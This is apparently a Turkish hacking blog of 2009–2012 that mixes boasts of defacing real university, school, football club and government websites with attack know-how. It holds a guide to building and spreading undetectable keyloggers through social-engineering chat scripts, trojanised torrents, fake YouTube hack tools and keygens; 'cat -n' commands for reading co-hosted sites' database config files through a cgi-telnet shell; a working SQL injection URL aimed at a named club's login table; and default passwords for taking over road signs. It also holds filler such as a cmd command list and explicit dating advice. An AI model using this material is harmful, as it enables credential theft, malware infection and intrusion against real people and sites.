16 Mayıs 2012 Çarşamba

Can Sıkıntısı

Arkadaşlar uzun zamandır hacking ile uğraşmıyordum zaten akşama kadar iş yerinde oluyorum akşamda orda burda nerde çalgı orda kalgı derken unuttum gittim hacking bilgilerimi :D

Az uğraşlar sonucu İlk önce Denizlispor 'a bi ders vermem gerekiyordu içimi döktüm ardından bir kaç tane üni. web sitelerine uyarı amaclı bişiler karaladım işte

Yıldız Teknik Üni.
http://zone-h.org/mirror/id/17634175

Denizlispor Resmi Web Sit.
http://zone-h.org/mirror/id/17561397

Hacettepe Üni. Resmi Web Sit.
http://turk-h.org/defacement/view/423268/yunus.hacettepe.edu.tr/~n..

22 Ocak 2012 Pazar

UnutuLan BLoG :(

Merhaba Arkadaşlar uzun zamandır bloğuma yazamıyordum atık yeni paylaşımlarla devam edecez inş. beni izlemeye devam edin ;)

30 Mart 2011 Çarşamba

[ Reverse Ip Tool ]

Çoklu sitelerden reverse ip çeken program. Şu 3 tane siteyi destekliyor.



1-)http://networktools.nl/reverseip/

2-)http://www.my-ip-neighbors.com/

3-)http://www.yougetsignal.com/tools/web-sites-on-web-server/



Eğer kullandığınız iyi sonuç veren site(ler) varsa on(ları)u da ekleyebilirim. Yalnız resim onayı istememesi gerekiyor.



Programda hatalar çıkabilir. Eğer rastlarsanız resmini çekip verdiği hatayı yazarsanız düzeltmeler yaparım.



http://www.multiupload.com/HVKFE4J07P

KeyLoGGeR ile Hack

S.a




Bu Makalemde Sizlere Keylogger Kullanarak Hedef Veya Hedef Belirtmeksizin 1oo lerce Kişiyi Hacklemeyi Anlatmaya Çalışıcam ;



İlk Önce Keylogger Nedir ? >



Keylogger ( Türkçe Anlamıyla Tuş Kaydedici ) İlk Zamanlarda Local (Yerel) olarak Ebeveyn. Denetimi Gibi Amaçlar İçin Kullanılan Daha Sonraları ise Kötü Amaçlı Yazılımcılar Tarafından



Yeniden Kodlanarak Remote ( Uzak) taki Bilgisayarları Hacklemek İçin Kullanılmaya Başlamıştır. Günümüzde Daha Çok bu amaç için kullanılıyor.



Mantığı Gayet Basit Klavyede Basılan Tuşları Kaydedip Belirttiğimiz Süre içinde Bu Kayıtları Ftp/Mail Yoluyla Bize Gönderir.



Günümüzde Çok Farklı Özellikler Kazandı Stealer ( Kayıtlı Şifreleri Çalma ),Ekran Görüntüsü, USB Spread ( Usb Bulaşma), Downloader ( internetten Belirtilen Dosyayı İndirme ) gibi gibi Daha Çok Özellik Var.



Genelde Keylogger İndirdiğimizde 2 parça Olarak Gelir ( Builder ( Kulak) , Stub (Beyin) )



Builder ; Bu Program Keyloggerin Kulakları Gibidir ( ) örnek Vermek Gerekirse Biz Bilgileri, Ayarları, vs vs .. Buildere Yazarız. Oluştur Dediğimizde Builder Verdiğimiz Bilgileri Beyin ( STUB ) a İleterek Serveri Oluşturur.



Stub ; Boş Bir Beyindir. Kulaktan ( Builder ) Den Gelen Bilgiler ile Kendini Server Olarak Tekrar Oluşturur Fakat Şimdi İçinde Bilgilerde Var.



Local Keyloggere Örnek Olarak : Golden Keylogger



Remote Keyloggere Olarak : JTR Logger ( )



———————————————————————————————–



Fud / Ud Nedir ?



Fud : Fully Un Detected : Tamamen Tanınmaz : Serverimizin Çeşitli Yöntemler Kullanılarak Antivirüsler Tarafından Tamamen Tanınmaz Hale Getirilmesi Sonucu Oluşan Server İçin Kullanılan Deyim.



Ud : Un Detected : Tanınmaz : Serverimizin Çeşitli Yöntemler Kullanılarak Antivirüsler Kısmen Tamamen Tanınmaz Hale Getirilmesi Sonucu Oluşan Server İçin Kullanılan Deyim.



———————————————————————————————–



Spread ( Dağıtma ) ;



Çeşitli Yollar Kullanılarak Serverimizi Dağıtmaktır ( Kitle Hack İçin Bunu Anlatıcam )



———————————————————————————————–



A – Hedefi Hacklemek :



Hedefimizi Tanıyorsak İşimiz Daha Kolaydır. Bir Kişiyi Hacklemek İçin Keylogger Kullanıcaksak Keyloggerimiz FUD Olmalıdır. Diyelim ki .exe Yedirebiliyoruz Ve Kişi Tecrübesiz.



Ozaman Yapmamız Gereken Tek Şey Biraz Sm Kullanarak Kişiyi Dosya Alış/Verişi Yapacak Güveni Vermektir. Gerisi Çorap Söküğü Gibi Gelir. Bu Güveni Kazandıktan Sonra Örnek Konuşma ( Aslı Sizin Yeteneğinize Kalmış )

A- Biz

B-Kurban



A- S.a Kardeşim Bişey Rica Edebilirmiyim



B- Tabi Buyur Kardeşim.



A- Ya Ben Bi Program İndirdim De Net Framework İstiyormuş Galiba Çalıştıramadım. Sen Bi Deneyebilirmisin ?



B – ( Soracaktır Ne Programı Diye ) Ne Programıymış Bu ?



A- ( Örnek Olarak ) Ya Bi Download Manager İnternetten Dosya İndirmek İçin Kullanılıyor. Güzel Hızı Var. Çalışırsa Framew. yükliyicem.



B- Tamam Ver Bakalım Temiz Ama Değil mi ?



A- ( Serverimiz Fud Oldugu İçin Rahatlıkla ) Tabi Taratabilirsin İstediğin Proğrama.



Dosyayı Göderdik Geriye Kalan Çalıştırmasını Beklemek Ve Logları Takip Edip Gereki Almak



Eğer Exe Yediremiyorsak ;



Sorgulu Java Downloader Veya Sorgusuz Direct İnject Exploit ile İşimizi Görürüz Bunları Sonra Anlatıcam.



———————————————————————————————–



B- Kitle Hacklemek



Keyloggerler İle Bu Şekilde Gerçekten Çok Yüksek Miktarlarda İnsan Hacklemek Mümkün .



Bu Olaydaki En Büyük Yardımcımız Spread ( Yukarıda Anlattım )



Hangi Yollarla Dağıtabiliriz. ?



- Torrent



- Youtube



- Forumlar



- Downloader ( Müstehcen Bi Konu Oldugu İçin Anlatmak İstemiyorum )



A – Torrent : Biliyorsunuz Ki Torrent Bu Günlerde Çok Popüler Bi Yazılım. 10binlerce Kişi Download yapıyor Düşünsenize Ne Kadar Kurban Alabilirsiniz ?



Yapmamız Gereken Şey FUD Keylogger Serverimizi Popüler Olan Bi Programla Bindleyip Torrent Oluşturarak PirateBay Gibi Torrent Sitelerinde Dağıtmaktır =)



Popüler Programlara Piratebay Sitesinin Top100 ünü Kullanabilirsiniz.



B – Youtube



Burada Dağıtmak İçin Fake Proğram ( Hack Programı Tavsiyemdir ) Kullanmak Çok Akıllıca Olur  Çünkü



Yotubede Hack Programı Arayan Çok Lamer Var  Bunları Ava Giderken Avlayacaz  Programlama



Biliyorsanız Fake Bi Facebook Hacker Keylogger Vs Hazırlayın Bunun İşe Yaradıgını Gösteren Bi Video



Çekin Ve Fake Programı FUD Keyloggerinizle Bindeyip Youtubeye Uplayın Ve Arkanıza Yaslanıp



Lamerleri Bekleyin 



C – Forumlar



Forumlarda Dağıtmak İçin En İyi Yöntem Proğramdır Full Proğram Olarak Keyloggerinizi Programın



Kendisi Veya Keygen İle Bindlerseniz Keygen Zaten Hepsini Antivirüs Virüs Gibi Görüyor Zararsızdır Gibi



Bi Terim Kullanarak Güven Kazanıp Kurban Toplayabilirsiniz =)

cgi telnet ile serverdaki sitelerin config yollarını öğrenmek

Config yollari




kodumuz : cat – n /home/kullanıcıadi/public_html/yol



Smf= cat -n /home/kullanıcıadi/public_html/Settings.php



Vbulettin= cat -n /home/kullanıcıadi/public_html/includes/config.php



Joomla=cat -n /home/name/public_html/configuration.php , configuration.php-dist



Phpbb= cat -n /home/kullanıcıadi/public_html/config.php



WordPress= cat -n /home/kullanıcıadi/public_html/wp-config.php



Seditio= cat -n /home/kullanıcıadi/public_html/datas/config.php



Mybb= cat -n /home/kullanıcıadi/public_html/inc/config.php



Bu yöntemle cgi telnet attıgımız serverdaki sitelerin config bilgilerini direk okuyabiliriz.

Cmd Komutları

ASSOC Dosya uzantısı ilişkilendirmesini görüntüler ya da değiştirir


AT Bilgisayarda çalıştırılmak üzere komut ve program zamanlaması yapar.

ATTRIB Dosya özniteliklerini görüntüler ya da değiştirir.

BREAK Uzatılmış CTRL+C denetimini ayarlar ya da temizler.



CACLS Dosyanın erişim denetim listelerini (ACLs) görüntüler ya da

değiştirir.

CALL Bir başkasından bir toplu iş programını çağırır.

CD Geçerli dizinin adını değiştirir ya da görüntüler.

CHCP Etkin kod sayfası numarasını görüntüler ya da ayarlar.

CHDIR Geçerli dizini değiştirir ya da görüntüler.

CHKDSK Bir diski gözden geçirip durum raporu verir.

CHKNTFS Önyükleme sırasında disk denetimini görüntüler ya da değiştirir.

CLS Ekrandakileri siler.

CMD Windows komut yorumcusunun yeni bir kopyasını başlatır.

COLOR Varsayılan konsol arka plan ve ön plan renklerini ayarlar.

COMP İki dosya ya da dosya kümesinin içeriğini karşılaştırır.

COMPACT NTFS bölümündeki dosyaların sıkıştırmasını gösterir ya da yapar.

CONVERT FAT birimleri NTFS’ye dönüştürür. Geçerli sürücüyü dönüştüremezsiniz.

COPY Bir ya da birden çok dosyayı bir başka konuma kopyalar.

DATE Tarihi görüntüler ya da ayarlar.

DEL Bir ya da birden çok dosyayı siler.

DIR Bir dizindeki dosya ve alt dizin listesini görüntüler.

DISKCOMP İki disket içeriğini karşılaştırır.

DISKCOPY Bir disketin içeriğini diğerine kopyalar.

DOSKEY Komut satırı düzenler, Windows komutu geri çağırıp makro oluşturur.

ECHO İleti görüntüler ya da komut yankısını açıp kapatır.

ENDLOCAL Bir toplu iş dosyasındaki çevre yerelleştirmesini sonlandırır.

ERASE Bir ya da birden çok dosyayı siler.

EXIT CMD.EXE programından (komut yorumcusu) çıkar.

FC İki dosyayı ya da dosya kümesini karşılaştırıp aralarındaki farkı

görüntüler.

FIND Bir dosyada ya da dosyalarda bir metin dizesini arar.

FINDSTR Dosyalarda dize arar.

FOR Dosya kümesindeki her bir dosyada belirli bir komutu çalıştırır.

FORMAT Windows’da kullanmak üzere bir diski biçimlendirir.

FTYPE Dosya uzantısı ilişkilendirmesinde kullanılan dosya türlerini

görüntüler ya da değiştirir.

GOTO Bir toplu iş dosyasında, Windows komut yorumlayıcısını etiketli bir

satıra yöneltir.

GRAFTABL Grafik modunda, Windows’un dile özgü karakterleri görüntülemesini

sağlar.

HELP Windows komutları için Yardım bilgisi sağlar.

IF Bir toplu iş dosyasındaki koşullu işlemleri uygular.

LABEL Bir diskin birim etiketini oluşturur, değiştirir ya da siler.

MD Bir dizin oluşturur.

MKDIR Bir dizin oluşturur.

MODE Bir sistem aygıtını yapılandırır.

MORE Çıktıyı bir defada ekranda görüntüler.

MOVE Bir ya da birden çok dosyayı bir dizinden diğerine taşır.

PATH Çalıştırılabilir dosyalar için bir arama yolu görüntüler ya da

ayarlar.

PAUSE Bir toplu iş dosyasının işlemesini askıya alıp ileti görüntüler.

POPD Geçerli dizinin PUSHD tarafından kaydedilen eski değerini geri yükler.

PRINT Bir metin dosyasını yazdırır.

PROMPT Windows komut istemini değiştirir.

PUSHD Geçerli dizini kaydedip değiştirir.

RD Dizin kaldırır.

RECOVER Bozuk ya da hasarlı bir diskten okunabilir bilgiyi kurtarır.

REM Toplu iş dosyalarındaki ya da CONFIG.SYS açıklamalarını (yorum) okur.

REN Dosyaları yeniden adlandırır.

RENAME Dosyaları yeniden adlandırır.

REPLACE Dosyaları yenisiyle değiştirir.

RMDIR Dizini kaldırır.

SET Windows çevre değişkenlerini görüntüler, ayarlar ya da kaldırır.

SETLOCAL Toplu iş dosyasındaki çevre değişikliklerinin yerelleştirmesine

başlar.

SHIFT Toplu iş dosyasındaki değiştirilebilir parametre konumunu değiştirir.

SORT Girdiyi sıralar.

START Belirli program ya da komutu çalıştırmak için ayrı bir pencere açar.

SUBST Bir yolu bir sürücü harfiyle ilişkilendirir.

TIME Sistem saatini görüntüler ya da ayarlar.

TITLE CMD.EXE oturumu için pencere başlığını belirler.

TREE Bir sürücü ya da yolun resimsel dizin yapısını görüntüler.

TYPE Bir metin dosyasının içeriğini görüntüler.

VER Windows sürümünü görüntüler.

VERIFY Windows’a, dosyalarınızın diske doğru yazıldığını doğrulayıp

doğrulamamasını bildirir.

VOL Disk birim etiketi ve seri numarasını görüntüler.

Bu listeyi Cmd ‘ den Help yazıp enterlarsanız bulabilirsiniz

AyLıK 8 TL'ye İnTeRNeT

Selamun Aleykum .




Arkadaşlar bugun evinde “ internet “ ‘i olmayan ve internet cafeden ve ya başka bir yerden blogumu okuyanlara bir yöntem göstermek istiyorum.



Şimdi konumuza gelelim.



Bize gerekli olan zamazingolar ;



Bir Adet Vodafone HAT { Faturalı Faturasız Fark etmez }



Bir Adet Nokia Renkli Ekran Telefon { Bunu Google amcanıza Pc Suite destekleyen telefonlar yazıp arayabilirsiniz.}



Bir Adet Nokia USB Kablo



Ve Telefonu Bilgisayar’a bağladığımızda İnternet’e girmek için Lazım Olan



Nokia Pc Suite 7 Program‘ı Lazım .



Şimdi çok konuştun konuya geç bilader ;



Elimde bir Nokia 6630 Telefonum ve Vodafone Faturasız Hattım var.



Ne yapacağım diyorsan .



Hemen Google amcana Vodafone Cepnet yaz veya vodafone.com.tr ‘den



cepnet paketine bakıcaksın .



Aylık cepnet 7.99 TL yani 8 TL Herneyse ordan abone olmayı saten adamlar



anlatmışlar Aylık Cepnet ‘e Abone oldukdan sonra Telefonunu USB Ara



baklosu ile bağlıyacaksın ve Nokia Pc suite Programını Kurucaksın .



Şimdi Örnek Telefon ;





Yukarida gösterdiğim gibi O yeşil butona basarak internete bağlanabilirsiniz.




Bu yöntemle aylık 8 TL ‘ye internetten yararlanabilirsiniz şimdi bu ne kadar



hızlı olabilir diyorsanız Msn + Face Çok rahat şekilde çalışıyor 4-5 saat çok



yüklenirseniz kitleniyor fakat telefonu ve pcyi kapatıp açın tekrar bağlanın



sorun yok .

20 Aralık 2010 Pazartesi

Yoldaki Elektrikli Tabelaları Hacklemek . . .

Arkadaşlar bana gelen sorular içerisinde en çok sorulan sorulardan birisiydi bu konu benimde bir bilgim yoktu bu konuda çünki elektronikci değilim. . .
Bende arkadaşlar için bir araştırma yaptım soruyu soran arkadaşlar sayesind ebende öğrenmiş oldum . . .
Neyse anlatımımıza geçelim . . .

Şimdi yolda bir elektrikli tabela gördük öncelikle kontrol panelini bulmamız lazım genelde küçük bir kutudur içeriği asma kilit vb. kilitle korunabilir . . .
Kutucuğu açtık diyelim aşağıdaki gibi bir panel göreceksiniz . . .

Klavyeli siyah kontrol pedalı, kıvrımlı bir kabloyla bağlanmıştır. Aşağıdaki gibi . . .


Buradaki programlama, menü seçeneklerini aşağıya kaydırıp bir menü seçmek kadar basittir. Bu adımdan sonra istediğiniz yazıyı yazabilirsiniz. Onaylamak için 'Enter' a basarsınız. İsterseniz sadece yazdığınız yazının görünmesini sağlayabilir ya da 'Add page' kısmını seçerek daha fazla sayfa ekleyebilir ve böylece daha çok şey gösterilmesini sağlamış olabilirsiniz.

Önemli İpuçları: Eğer size bu işleri yapmak için şifre sorarsa; 'DOTS' olarak deneme yapın. Tüm bu olasılıklar içinde, bu ışıklarla ilgilenen görevliler bu default şifresini değiştirmemiş olacaklar. Eğer ki değiştirdiklerini düşünürsek, endişelenmeye gerek yok. 'Control' ve 'Shift' tuşlarına basılı tutarken 'DIPY' yazın. Bu işlem sonucunda bu tabelada yazan yazı sıfırlanacak ve şifre 'DOTS' olacak. Böylece trafik tabelalarını ele geçirmiş olacaksınız.

12 Kasım 2010 Cuma

Cep Telefonu Dinleme Cihazı Nasıl Yapılır

dinlemenin çeşitli yolları mevcut yazılım yükleme dışarıdan ek bir böcek yerleştirme yada casus bir mesaj atarak telefonuna küçük bir program yükleyerek bu işlemi gerçekleştirebiliriz. Ancak bu yöntem çok daha farklı evinizde bulunan birkaç malzemeyle dinleme işini gerçekleştirebilirsiniz.


Videoda izlediğiniz gibi sadece birkaç basit ev aletleriyle yan komşunuzu dinleyebilirsiniz. Ancak insanların özeline girmek site yönetim olarak tasvip etmiyoruz. Bu dinleme yöntemini sitemizde yer vermemizin amacı elektronik bilgisini artırmak ve hobi amaçlı kullanımlar içindir. Lütfen özel hayata saygı…
1. Çelik tencere
2. Tv kumandası ( herhangi marka olabilir)
3. İki adet 25- 30 cm uzunluğunda bakır kablo
4. İyi yapışan koli bandı
videoda da izlediğiniz gibi dinleme yapabiliyorsunuz. Peki kendinizi dinlemeye karşı nasıl koruyacaksınız bir frekans karıştırıcı alarak dinlenmeyi önleyebilirsiniz jammer fiyatları kullanacağınız alan yada boyut ile ilgili fiyatlar değişmektedir. Ev için 100$ lık bir jammer işinizi görecektir.

27 Ekim 2010 Çarşamba

Sabit Telefon Olmadan İnternet Artık Mümkün

Rekabet Kurumu, Bilgi Teknolojileri ve İletişim Kurumu'nun, sabit telefon aboneliği olmadan DSL internet erişimi hizmeti alınmasına imkan sağlayan kararının, 28 Temmuz 2010 tarihinden itibaren yürürlüğe girdiğini, dolayısıyla bu tarihten itibaren sabit telefon hizmeti aboneliğine gerek olmaksızın internet hizmeti alınabilmesinin yolunun açıldığını bildirdi.

KAYNAK :http://www.hurriyet.com.tr/ekonomi/16136218.asp?gid=373 

Aslında Bunu Uydunet Yapıyordu Ama Ondada Kablo Tv Zorunluluğu var +7 TL

3 Aralık 2009 Perşembe

Sivasspor Sql

Sivasspor

http://sivasspor.org.tr/haber_detay.php?id=77%20and%201=2+union+select+1,2,user,4,pass,6,7,8,9,10,11,12,13+from+login

istiyen bassın basabilirse :)) açığı vermekte çekinmiyorum çünki bende admin paneli bulamadım :))

KKTC Cumhurbaşkanlığı Web sitesi Uyarıldı!!



Evet tarafımca siteye hiç bir zarar verilmemiştir kendilerine uyarı mesajı atarak aciklarini kapatmalarını istedim...

Açığın olduğu bölümü şimdilik vermiyorum açık kapanıncaya kadar...

16 Ekim 2009 Cuma

Telefon Numaranızı Bulabilirim :))

Arkadaşlar simdi sırasıyla su işlemleri yapın
Ev telefonunuzun ilk 3 rakamini yazın, ( alan kodu kullanmayiniz!) Bu
3 basamakli sayiyi 80 ile çarpin,
1 ekleyin,
250 ile çarpin
Ev telefonunun son 4 rakamindan olusan 4 haneli sayiyi ekleyin, ayni 4
haneli sayiyi bir daha ekleyin, 250 çikartin,
2 ye bolün

cıkan sayı tanıdık geliyor olmalı (:

12 Ekim 2009 Pazartesi

Denizli Mehmet Akif Ersoy Lisesi Uyarı

Denizlide bulunan MEHMET AKİF ERSOY LİSESİ de uyarılarımızdan nasibini almıştır ancak onlara indexlerini deiştirerek uyarı vermedik kendilerine post attık geçmiş olsun en kısa zamanda düzeltmeleri dileğiyle!!!

3 Ekim 2009 Cumartesi

Kız Tavlama Sanatı V.2 +16



NOT=Okumadan Yorum Yapmayın sakın


S.a arkadaşlar ben melih geçen yazımda bir kızı tavlamıştık bu yazımızda tavladığımız kızla nasıl düzen li bir ilişki yaşaya biliriz ondan bahsetmek istiyorum

Evet şimdi kızı tavladık o iş tamam şimdi gerekli olan yine birkaç özellik yazalım

1= Kıza İlk Günki Gibi tüm özelliklerimizi Sergileyecez ve İlk kez el ele Tutuşma
2= İlk kez el ele Tutuşma ve İlk Öpücük
3= İlk kez el ele Tutuşma , İlk Öpücük ve İlk Sevişme

Şimdi bu özellikleri açarak neler yaşana bilir biraz bakalım

1. Özellik te dediğim gibi kızı sıkmayacağız nasıl mı şu şekil işte elimizde telefon her dakka mesaj yada
kızı bi yere çağırdığımızda işim var diyosa olmaz illa gelecen gibi mal mal haraketler yapmayacaz.
kıza karşı nazik olacaz nasıl istersen canım işin varsa kolay gelsin gibisinden söyleyelim ki size karşı fikirleri değişmesin işte ya buda aynı diğer erkekler gibi sadece köprüyü geçene kadar ayıya dayı diyolar hesabına dönmesin.Kıza bunları yaptık ve buluştuk şimdi kızla yan yana yürüyoz kızın elini tutacaz ama nasıl heycan bir yanda etraftan biri görecek korkusu yada izin vermezse rezil oluruz korkusu var atın bunları üstünüzden ve kendinize güveniniz tam olsun bir ortam belirleyin şöyle hafif rüzgar esen yada sakin bir yer kızla sohbet ediyoruz ve konu konuyu açıyor derken siz hemen kıza duygusal sözler le yaklaşımlar yapacaksınız nasıl oluyor diye sorar gibisiniz işte kıza güzel sözler iltifatlar ona asla çok seviyom canım cicim bunları söylemeyin sakın kızın yanında nekadar mutlusunuz ve nekadar mutlu bir beraberliğiniz var onu kıza hissettirin ki kızın ellerinde bir titreme içinde bir korku kalmasın. Baktınız herşey güzel gidiyo kızda az yumşadı gülüyo işte size karşı sempatisi biraz daha arttı elini ufak bir hamle ile yumuşak ca tutuyoruz burda yumşakca derken mal gibi kızın elini alıpta sıkmıyoz sakin rahat bir şekilde kızın elini tuttuk ve bi kaç dakika öyle oturuyoruz bu arada kız kızara bilir yada ya biri görür felan kızı güzel sözler le ikna ederiz eli bizim elimizde zaten ve bir süre sonra kız bişe demez vede kızla el ele yürümeye başlayaya biliriz.

2. Özellikte ise artık el ele tutuşuyorsunuz çekinme kalmadı aradan şöyle 1 hafta yada 2 hafta (kızın huyuna bağlı zaman ) geçti yine kızla buluştuk artık dahada samimiyiz kıza karşı güzel dugular beslediğimizi ona her fırsatta mal gibi direk doğrudan değil de cümleler içinde ufak kelimeler le söyleyelim ki nekadar özel olduğunu her kelimede nasıl onu düşündüğümüzden vaz geçmesin tabi bu arada ilk yazıdaki özelliklerimizden olan bir yeteneğimizide kıza karşı hala kullanıyoruz işte kıza buluşmalarımızda şiirler yazıyoruz resimler yapıyoruz derken kızla iyice yakınlaştık sakin bir yere yada kız için en özel yer nereyse kendini nerede mutlu hissdiyorsa oraya gidiyoruz elimiz omzunda kızın başı göğsünüzde yada kızın ellerini tutarak oturuyoruz vede slow böyle işte tam o anı anlatan bir müzik çalan yer yada telefonumuzdan daha önceden seçtiğimiz parçayı açıyoruz ve unutmamak gerekirki burdaki en önemli nokta parçayı kızla beraber söylemek mal gibi kız susupta siz öküz gibi anırarak söylemeyeceksiniz kıza şarkı başlamadan sözlerine dikkat et diye ufak bir uyarı ve şarkı başladığında ilk inde kız biliyosa beraber hafif kısık sesle beraber söyleyeceğiz kız bilmiyorsa ilk çaldığımızda o dinleyecektir parça güzel tam o anda sizin halinizi anlatıyor sizin o mutlu beraberliğinizi aynı parçayı tekrar açacaksınız ve kızla beraber üsttede dediğim gibi hafif bir ses tonu ile söyleyeceksiniz parça bittiğinde ise kızın gözlerine bakıp mal gibi dudağa yumulmayın hayvan gibi ufak masum bir öpücük konduracağız dudağına asla ve asla size karşı gelmeyecektir belki biraz utana bilir ama emin olun sizden daha çok istiyordur sonrasında kızı hemen alıp eve götürmeyecez demi bazı mallar tamam kız bizde diyor olabilirler ama değil.

3. Özellikte ise ilk sevişmemmiş tenlerimizin tenlere değip ateşlendiği an şimdi kızı ilk öpücükten sonra her çağırdığımızda kızın dudaklarına bakıp ta nezaman öpüşecez gibisinden davranmayın kızla özel romantik ortamlarda yada en mutlu anlarınızda kızı öpün ki motivasyonda düşme olmasın şimdi kızı öptük üstünden 3 hafta yada 1 ay gibi bi süre geçti artık kızın elini tutuyoz,öpüyoz derken kendimize müsait bir yer ayarlıyoruz mal gibi gidipte çalı gibi yok efendim park da bank üstü bunlar asla olmaz şöyle temiz güzel bir ev bulduk kızı çağırdık içecekler geldi hafif dokunmalar iltifatlar karşılıklı derken masumundan 1-2 öpücük derken zaten kendinizden geçersiniz ikinizde unutulmaması gereken nokta ise şudur mal gibi kızı soyup üstüne çıkmayacaz en önemli özellik ön sevişme ön sevişmeyi nekadar uzun tutarsanız kızı okadar çok bağlarsınız ön sevişme ortalama 8-10 dakka idealdir. Evet ufak ufak soyunuyoruz öyle bi anda hanzo gibi soyunmayalım. Şimdi kızda bizde bi don la kaldık kızda sütyen kilot sizde tek don burda önemli olan kızı ürkütmeden aç bi hayvan gibi değilde kızı zorlamadan sütyeni çıkarmak nasıl olacak sütyni kıza çıakr demeyecez siz çıkaracaksınız bir elinizle kızı hafif okşayıp diğer elinizlede kızın arkadan sütyenini çıkaracaksınız bu sizin tecrübeli olduğunuzu gösterir. Sütyen çıkardık kaldık mı ikimizde donla unutmamamız ve kesin bilmemmiz gereken bir konu ise kızlar 7 bölgeden zevk alırlar erkeklerse 1 dahada anlatmaya gerke yok sanırım gerisini halledersiniz.

Kız Tavlama Sanatı +16

Sizde Bulunması Gereken Özellikler

1=Biraz Tip
2=Düzgün Bakışlar
3=Giyim Şekliniz
4=Kişisel Yetenekler
5=Espiri Kabiliyetiniz
6=En Önemlisi Olan DİL

Şimdi Arkadaşlar Çıkmak İstediğimiz Kız Tipi Genel Olarak Alalım Ve konu İçinde Detaylı İnceleyelim

Şimdi İlk Önce Sizin hoşlandığınız ama Kızın bilmediğini Bilip de Karşılık Verilmeyen durumlara Gelelim
Şimdi En önemli olan Şey Elektrik tir Kızla Öyle bir Bakışmalısınız ki Sizi Kendi Kafasından Çıkaramasın
ama kıza Öküz gibi değil Onu anlayacak Şekilde Muhtemelen kız size 2 şekilde Karşılık Verir ya masum bir tebessüm yada kafasını yere eğer İşte buradaki mimik haraketler önemlidir Ufak bir Tebessüm alırsanız eğer doğru yoldasınız Çünki kızın Kafasına Girdiniz Demektir,eğer Kız kafasını yere eğer yada sağa sola kaçırırsa ozaman da sizin bakışlarınız işe yaradı ama çevreci bir baskı yüzünden utandı
her İki olasılıkta da yapacaklarımız öncelikle Kız Hakkında Çevresinden Ufak bir Bilgi toplamaktır.

Bunlar Ne Olabilir diye düşüniyorsunuz Sanırım Hemen Bi Kaç Tane Sayalım Genel Özelliklerden

1=En Sevdiği Çiçek
2=En Sevdiği Renk
3=En Sevdiği Ortam
4=En Sevdiği Arkadaşları (Önemli)

Şimdi Bunları Çoğaltmak Sizin Elinizde,Diyelim ki Bunları Öğrendik Ne Yapmamız Lazım Öncelikle
Kızla mümkün Oldukça Aynı Ortamda Bulunalım vede sürekli göz göze Gelmeye Çalışalım Neden mi?
Kıza Onunla İlgilendiğinizi Fark Ettirmelisiniz. Bunun İçin Kızı Kıskandığınızı Kıza Belli edin Ufak bir Haraket Yada Bir Erkek le Konuşuyorsa suratınızı Somurtun Neden Mi? Çünki Kızlar Sahiplenilmeyi Severler.Evet Kız Fark Etti Bi kaç Arkadaş Vasıtasıyla Konuşmaya Başladık diyelim Kızın Huyuna gidip Onu Üstteki 5. Özelliğimiz olan Espiri ile güldürelim Her Zaman İlk Başlangıçta güzel bir Etki bırakır (Hoş Çocuk İmajı) Daha sonra sohbet sırasında Kızla Ortak noktalarınızı Bulmaya Çalışın nasıl mı olacak Dediniz? Üstte Kızın en Sevdiklerini Boşa Öğrenmedik Demi yani Burda Önemli Olan Kızın Sevdiği Şeyleri Kızdan Önce Davranarak söyleyin Neden Mi? Böylece Hem Ortak yönleriniz Olmuş Olur Hemde Kızın Üstünde 2. Bir etki Daha Yaratmış Oluruz.
İlk Etkimiz Espirilerimiz ile hoş Çocuk İmajı 2. Etkimiz Onla Aynı Ortak Noktalar.
Evet Her şey güzel Gidiyor Şimdi Kızla Ufak Ufak duygusal Yaklaşımlar Lazım Burda Olay sizde Bitecek Kızın Ailevi Olsun,Arkadaş Olsun,Kendi Özel Olsun Her sorunuyla İlgilenmelisiniz böylece Oda size Karşı bir şeyler Hissetmeye Başlayacaktır. Her şey Tamam Kızda Hissediyor Diyelim Nasıl Çıkma Teklifi Edecez İşte Etraf Ne der ailemin Kulağına gidermi gibi Kuruntuları bırakın Kızın Karşısında Her Zaman Öz Güveniniz Yerinde Olsun

Evet en Can Alıcı bölüm Kıza Çıma Teklifi Edecez Öncelikle Her Bayanın Sevdiği Gibi Romantizm İle Başlayalım Kızı alır en Sevdiği Yada Manzarası süper Olan Veya Havada Aşk Kokusu Olabilecek bir yere Gidin Yanınızda Sakladığınız bir Gül (yada hangi çiçeği Severse Tavsiyem Beyaz gül)
Evet Kızla başladık Konuşmaya En Önemli sorun Böyle durumlarda Haraketlerimiz ve Tavırlarımız
Kıza güçlü Olduğumuzu Ve Kendimize Güvenimizin Tam Olduğunu göstermeliyiz ki Oda Bu İlişkiden Korkmasın . Her şey yolunda Kendinize Güveniniz Tam Kıza Nasıl söylesem düşünceleri Var Kafanızda
Böyle durumlarda Yapılmayacak Bi Kaç Unsur

1=Kaz gibi Kaba bir Sesle Çıkalım mı Diyerekten Ortamı Berbat Etmek (Kız İstemese Oraya Gelmez Zaten)

2=Sözlere girerken Off,şey,ama,ya gibi sıkıcı Kelimelerden Kurtulun

Neyse bunları Yapmadık Ve Kıza Teklif Edecekken Yapacağımız Genelde Şu, Ufak bir Hamle İle elini Tutalım
Elektrik İçin Gözleri Asla Kaçırmayın Ne Olursa Olsun,Daha sonra Kıza Üstte Sizdeki Özelliklerden Seçeneğinde Olan kişisel Kaabiliyetleriniz,Şiir,Resim gibi
Ben Şiir 4 lük yazarım mesela Kızın Adına hoş bir 4 lük Yazıp Gözlerine Bakarak Okuyun Ve Yanınızda Getirdiğiniz Gülü Verin Tabi Gözlere Bakarak son bir Fransız Öpücü Masum Bir Öpücük Kondurun
%90 evet cevabı ve çıkıyorsunuz.

Önemli not= Genel Bir kız İçin Yapılacakları anlattım Siz Çıkacağınız Kıza Karşı Az bi Farklılıklarla Devam Edebilirsiniz Ve en Önemlisi Asla Ondan Çekinmeyin Kolay Gelsin..

29 Eylül 2009 Salı

Anafartalar Lisesi Uyarı

Yiğenimin isteği üzerine okuduğu okula bir uyarı verdik

http://www.anafartalarlisesi.k12.tr/

buda zone

http://www.zone-h.com/mirror/id/9697488

Birde Hack sitesi Uyarı

http://z0ne-h.org/mirror-h/izle.asp?id=3038&http://w4rezteam.com/forum/index.html

NİLAY DORSA Protesto


Nilay Dorsa, hayvan hakları için çırıl çıplak objektifler karşısına geçti…Hayvanlar için her şeyi yapabileceğini söyleyen Dorsa, “Yurtdışında böyle protestolar hep yapılıyor ama bunu bir Türk yapınca sadece soyundu oluyor” diyerek gelecek eleştirileri şimdiden göğüsledi…



